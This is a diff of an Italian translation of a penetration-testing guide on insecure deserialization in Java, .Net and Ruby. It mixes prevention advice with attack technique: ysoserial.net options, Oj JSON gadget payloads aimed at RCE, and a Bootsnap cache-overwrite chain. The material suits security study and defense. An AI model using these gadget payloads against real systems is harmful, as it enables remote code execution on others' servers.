- File web con estensione `.faces` e il parametro `faces.ViewState`. Scoprire questi modelli in un'applicazione web dovrebbe indurre a un esame come dettagliato nel [post sulla deserializzazione di Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
- File web con estensione `.faces` e il parametro `faces.ViewState`. Scoprire questi modelli in un'applicazione web dovrebbe indurre a un esame come dettagliato nel [post sulla Deserializzazione del ViewState di Java JSF](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Controlla se vulnerabile
|
||||
|
||||
Se vuoi **imparare come funziona un exploit di deserializzazione Java** dovresti dare un'occhiata a [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
Se vuoi **imparare come funziona un exploit di deserializzazione Java** dovresti dare un'occhiata a [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Test White Box
|
||||
|
||||
@ -418,7 +418,7 @@ Quando esegui **gadgetinspector** (dopo averlo costruito) non preoccuparti dei t
|
||||
|
||||
#### Test Black Box
|
||||
|
||||
Utilizzando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puoi identificare **quali librerie sono disponibili** (e persino le versioni). Con queste informazioni potrebbe essere **più facile scegliere un payload** per sfruttare la vulnerabilità.\
|
||||
Utilizzando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puoi identificare **quali librerie sono disponibili** (e anche le versioni). Con queste informazioni potrebbe essere **più facile scegliere un payload** per sfruttare la vulnerabilità.\
|
||||
[**Leggi questo per saperne di più su GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe è focalizzato sulle **deserializzazioni `ObjectInputStream`**.
|
||||
|
||||
@ -432,7 +432,7 @@ Puoi anche usare [**Freddy**](https://github.com/nccgroup/freddy) per **rilevare
|
||||
**Test di Serializzazione**
|
||||
|
||||
Non si tratta solo di controllare se qualche libreria vulnerabile è utilizzata dal server. A volte potresti essere in grado di **cambiare i dati all'interno dell'oggetto serializzato e bypassare alcuni controlli** (forse concederti privilegi di amministratore all'interno di un'app web).\
|
||||
Se trovi un oggetto serializzato java inviato a un'applicazione web, **puoi usare** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **per stampare in un formato più leggibile dall'uomo l'oggetto di serializzazione che viene inviato**. Sapere quali dati stai inviando renderebbe più facile modificarli e bypassare alcuni controlli.
|
||||
Se trovi un oggetto Java serializzato inviato a un'applicazione web, **puoi usare** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **per stampare in un formato più leggibile dall'uomo l'oggetto di serializzazione che viene inviato**. Sapere quali dati stai inviando renderebbe più facile modificarli e bypassare alcuni controlli.
|
||||
|
||||
### **Exploit**
|
||||
|
||||
@ -550,9 +550,9 @@ Java utilizza molto la serializzazione per vari scopi come:
|
||||
|
||||
- **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc.
|
||||
- **RMI (Remote Method Invocation)**: Il protocollo RMI di Java, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
|
||||
- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client spesse basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
|
||||
- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
|
||||
- **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti attraverso la rete.
|
||||
- **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che saranno dimostrati negli esempi di exploit futuri.
|
||||
- **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che verrà dimostrata negli esempi di exploit futuri.
|
||||
|
||||
### Prevention
|
||||
|
||||
@ -601,7 +601,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklisting di classi dannose**, utilizzando un parametro JVM:
|
||||
**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione alternativa quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklisting delle classi dannose**, utilizzando un parametro JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -623,7 +623,7 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Sfruttare le librerie esterne per una maggiore sicurezza**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come l'inserimento in whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
|
||||
**Sfruttare le librerie esterne per una sicurezza migliorata**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come l'inserimento in whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
|
||||
|
||||
- **NotSoSerial** intercetta i processi di deserializzazione per prevenire l'esecuzione di codice non attendibile.
|
||||
- **jdeserialize** consente l'analisi di oggetti Java serializzati senza deserializzarli, aiutando a identificare contenuti potenzialmente dannosi.
|
||||
@ -640,7 +640,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Deserializzazione Java e .Net **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Documento sulla deserializzazione Java e .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- CVE di deserializzazione: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Iniezione JNDI & log4Shell
|
||||
@ -653,7 +653,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata presso Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Permette la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Prodotti
|
||||
|
||||
@ -665,7 +665,7 @@ Ci sono diversi prodotti che utilizzano questo middleware per inviare messaggi:
|
||||
|
||||
### Sfruttamento
|
||||
|
||||
Quindi, fondamentalmente ci sono un **gruppo di servizi che utilizzano JMS in modo pericoloso**. Pertanto, se hai **sufficienti privilegi** per inviare messaggi a questi servizi (di solito avrai bisogno di credenziali valide) potresti essere in grado di inviare **oggetti maligni serializzati che verranno deserializzati dal consumatore/sottoscrittore**.\
|
||||
Quindi, fondamentalmente ci sono **un sacco di servizi che utilizzano JMS in modo pericoloso**. Pertanto, se hai **sufficienti privilegi** per inviare messaggi a questi servizi (di solito avrai bisogno di credenziali valide) potresti essere in grado di inviare **oggetti maligni serializzati che verranno deserializzati dal consumatore/sottoscrittore**.\
|
||||
Questo significa che in questo sfruttamento tutti i **client che utilizzeranno quel messaggio verranno infettati**.
|
||||
|
||||
Dovresti ricordare che anche se un servizio è vulnerabile (perché deserializza in modo insicuro l'input dell'utente) devi comunque trovare gadget validi per sfruttare la vulnerabilità.
|
||||
@ -683,7 +683,7 @@ Lo strumento [JMET](https://github.com/matthiaskaiser/jmet) è stato creato per
|
||||
|
||||
Nel contesto di .Net, gli exploit di deserializzazione operano in modo simile a quelli trovati in Java, dove i gadget vengono sfruttati per eseguire codice specifico durante la deserializzazione di un oggetto.
|
||||
|
||||
### Fingerprint
|
||||
### Impronta
|
||||
|
||||
#### WhiteBox
|
||||
|
||||
@ -715,7 +715,7 @@ Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter`
|
||||
|
||||
- `--minify` fornirà un **payload più piccolo** (se possibile)
|
||||
- `--raf -f Json.Net -c "anything"` Questo indicherà tutti i gadget che possono essere utilizzati con un formatter fornito (`Json.Net` in questo caso)
|
||||
- `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà formatter che contengono "xml" (case insensitive)
|
||||
- `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà formatter contenenti "xml" (case insensitive)
|
||||
|
||||
**Esempi di ysoserial** per creare exploit:
|
||||
```bash
|
||||
@ -751,7 +751,7 @@ Debugging.ShowErrors(inputArgs, err);
|
||||
}
|
||||
}
|
||||
```
|
||||
Questo significa che per testare l'exploit il codice chiamerà [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
Questo significa che per testare l'exploit, il codice chiamerà [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
@ -769,21 +769,21 @@ Pertanto, il parametro **`--test`** ci consente di capire **quali parti di codic
|
||||
|
||||
Dai un'occhiata a [questo POST su **come provare a sfruttare il parametro \_\_ViewState di .Net**](exploiting-__viewstate-parameter.md) per **eseguire codice arbitrario.** Se **conosci già i segreti** utilizzati dalla macchina vittima, [**leggi questo post per sapere come eseguire codice**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Prevention
|
||||
### Prevenzione
|
||||
|
||||
Per mitigare i rischi associati alla deserializzazione in .Net:
|
||||
|
||||
- **Evitare di consentire ai flussi di dati di definire i propri tipi di oggetto.** Utilizzare `DataContractSerializer` o `XmlSerializer` quando possibile.
|
||||
- **Per `JSON.Net`, impostare `TypeNameHandling` su `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **Evitare di utilizzare `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
|
||||
- **Limitare i tipi che possono essere deserializzati**, comprendendo i rischi intrinseci con i tipi .Net, come `System.IO.FileInfo`, che possono modificare le proprietà dei file del server, portando potenzialmente a attacchi di denial of service.
|
||||
- **Limitare i tipi che possono essere deserializzati**, comprendendo i rischi intrinseci con i tipi .Net, come `System.IO.FileInfo`, che può modificare le proprietà dei file del server, portando potenzialmente ad attacchi di denial of service.
|
||||
- **Essere cauti con i tipi che hanno proprietà rischiose**, come `System.ComponentModel.DataAnnotations.ValidationException` con la sua proprietà `Value`, che può essere sfruttata.
|
||||
- **Controllare in modo sicuro l'istanza dei tipi** per prevenire che gli attaccanti influenzino il processo di deserializzazione, rendendo vulnerabili anche `DataContractSerializer` o `XmlSerializer`.
|
||||
- **Implementare controlli di white list** utilizzando un `SerializationBinder` personalizzato per `BinaryFormatter` e `JSON.Net`.
|
||||
- **Rimanere informati sui gadget di deserializzazione insicuri noti** all'interno di .Net e assicurarsi che i deserializzatori non istanzino tali tipi.
|
||||
- **Isolare il codice potenzialmente rischioso** dal codice con accesso a Internet per evitare di esporre gadget noti, come `System.Windows.Data.ObjectDataProvider` nelle applicazioni WPF, a fonti di dati non attendibili.
|
||||
|
||||
### **References**
|
||||
### **Riferimenti**
|
||||
|
||||
- Documento sulla deserializzazione JSON di Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
@ -792,9 +792,9 @@ Per mitigare i rischi associati alla deserializzazione in .Net:
|
||||
|
||||
## **Ruby**
|
||||
|
||||
In Ruby, la serializzazione è facilitata da due metodi all'interno della libreria **marshal**. Il primo metodo, noto come **dump**, viene utilizzato per trasformare un oggetto in uno stream di byte. Questo processo è noto come serializzazione. Al contrario, il secondo metodo, **load**, viene impiegato per riportare uno stream di byte in un oggetto, un processo noto come deserializzazione.
|
||||
In Ruby, la serializzazione è facilitata da due metodi all'interno della libreria **marshal**. Il primo metodo, noto come **dump**, viene utilizzato per trasformare un oggetto in un flusso di byte. Questo processo è noto come serializzazione. Al contrario, il secondo metodo, **load**, viene impiegato per riportare un flusso di byte indietro in un oggetto, un processo noto come deserializzazione.
|
||||
|
||||
Per garantire la sicurezza degli oggetti serializzati, **Ruby utilizza HMAC (Hash-Based Message Authentication Code)**, assicurando l'integrità e l'autenticità dei dati. La chiave utilizzata per questo scopo è memorizzata in uno dei diversi possibili luoghi:
|
||||
Per proteggere gli oggetti serializzati, **Ruby utilizza HMAC (Hash-Based Message Authentication Code)**, garantendo l'integrità e l'autenticità dei dati. La chiave utilizzata per questo scopo è memorizzata in uno dei diversi possibili luoghi:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
@ -911,7 +911,7 @@ Controlla come potrebbe essere possibile [inquinare una classe Ruby e abusarne q
|
||||
|
||||
### Inquinamento _json di Ruby
|
||||
|
||||
Quando si inviano nel corpo alcuni valori non hashabili come un array, verranno aggiunti a una nuova chiave chiamata `_json`. Tuttavia, è possibile per un attaccante impostare nel corpo un valore chiamato `_json` con i valori arbitrari che desidera. Quindi, se il backend, ad esempio, controlla la veridicità di un parametro ma poi utilizza anche il parametro `_json` per eseguire un'azione, potrebbe verificarsi un bypass dell'autorizzazione.
|
||||
Quando si inviano nel corpo alcuni valori non hashable come un array, verranno aggiunti a una nuova chiave chiamata `_json`. Tuttavia, è possibile per un attaccante impostare nel corpo un valore chiamato `_json` con i valori arbitrari che desidera. Quindi, se il backend, ad esempio, controlla la veridicità di un parametro ma poi utilizza anche il parametro `_json` per eseguire un'azione, potrebbe verificarsi un bypass dell'autorizzazione.
|
||||
|
||||
Controlla ulteriori informazioni nella [pagina di inquinamento _json di Ruby](ruby-_json-pollution.md).
|
||||
|
||||
@ -921,7 +921,7 @@ Questa tecnica è stata presa [**da questo post del blog**](https://github.blog/
|
||||
|
||||
Ci sono altre librerie Ruby che possono essere utilizzate per serializzare oggetti e quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che chiamano della libreria caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE fondamentalmente):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati di input</strong></td><td><strong>Metodo di avvio all'interno della classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardo json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati di input</strong></td><td><strong>Metodo di avvio all'interno della classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardanti json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Esempio base:
|
||||
```ruby
|
||||
@ -957,7 +957,7 @@ Nel caso in cui si tenti di abusare di Oj, è stato possibile trovare una classe
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un RCE completo con qualcosa come:
|
||||
Inoltre, è stato scoperto che con la tecnica precedente viene creata anche una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un RCE completo con qualcosa come:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
@ -993,11 +993,11 @@ La funzionalità di upload di file dell'app Rails consente a un attaccante di sc
|
||||
|
||||
- Comprendere il Meccanismo di Cache di Bootsnap
|
||||
|
||||
Bootsnap accelera i tempi di avvio di Rails memorizzando nella cache il codice Ruby compilato, i file YAML e JSON. Memorizza file di cache che includono un'intestazione della chiave di cache (con campi come versione di Ruby, dimensione del file, mtime, opzioni di compilazione, ecc.) seguita dal codice compilato. Questa intestazione viene utilizzata per convalidare la cache durante l'avvio dell'app.
|
||||
Bootsnap accelera i tempi di avvio di Rails memorizzando nella cache il codice Ruby compilato, i file YAML e JSON. Memorizza file di cache che includono un'intestazione della chiave di cache (con campi come versione Ruby, dimensione del file, mtime, opzioni di compilazione, ecc.) seguita dal codice compilato. Questa intestazione viene utilizzata per convalidare la cache durante l'avvio dell'app.
|
||||
|
||||
- Raccogliere i Metadati del File
|
||||
|
||||
L'attaccante seleziona prima un file di destinazione che è probabile venga caricato durante l'avvio di Rails (ad esempio, set.rb dalla libreria standard di Ruby). Eseguendo codice Ruby all'interno del contenitore, estrae metadati critici (come RUBY_VERSION, RUBY_REVISION, dimensione, mtime e compile_option). Questi dati sono essenziali per creare una chiave di cache valida.
|
||||
L'attaccante seleziona prima un file target che è probabile venga caricato durante l'avvio di Rails (ad esempio, set.rb dalla libreria standard di Ruby). Eseguendo codice Ruby all'interno del contenitore, estrae metadati critici (come RUBY_VERSION, RUBY_REVISION, dimensione, mtime e compile_option). Questi dati sono essenziali per creare una chiave di cache valida.
|
||||
|
||||
- Calcolare il Percorso del File di Cache
|
||||
|
||||
@ -1014,7 +1014,7 @@ L'attaccante prepara un payload che:
|
||||
Questo payload viene compilato in codice Ruby binario e concatenato con un'intestazione della chiave di cache accuratamente costruita (utilizzando i metadati raccolti in precedenza e il numero di versione corretto per Bootsnap).
|
||||
|
||||
- Sovrascrivere e Attivare l'Esecuzione
|
||||
Utilizzando la vulnerabilità di scrittura di file arbitraria, l'attaccante scrive il file di cache creato nella posizione calcolata. Successivamente, attiva un riavvio del server (scrivendo in tmp/restart.txt, che è monitorato da Puma). Durante il riavvio, quando Rails richiede il file mirato, il file di cache malevolo viene caricato, risultando in un'esecuzione di codice remoto (RCE).
|
||||
Utilizzando la vulnerabilità di scrittura di file arbitraria, l'attaccante scrive il file di cache creato nella posizione calcolata. Successivamente, attivano un riavvio del server (scrivendo in tmp/restart.txt, che è monitorato da Puma). Durante il riavvio, quando Rails richiede il file target, il file di cache malevolo viene caricato, risultando in un'esecuzione di codice remoto (RCE).
|
||||
|
||||
### Sfruttamento di Ruby Marshal in pratica (aggiornato)
|
||||
|
||||
@ -1041,7 +1041,7 @@ end
|
||||
```
|
||||
Dove si presenta nelle app reali:
|
||||
- I cache store di Rails e i session store storicamente utilizzano Marshal
|
||||
- Backend di lavori in background e oggetti memorizzati su file
|
||||
- Backend di lavori in background e store di oggetti basati su file
|
||||
- Qualsiasi persistenza personalizzata o trasporto di blob di oggetti binari
|
||||
|
||||
Scoperta industrializzata di gadget:
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user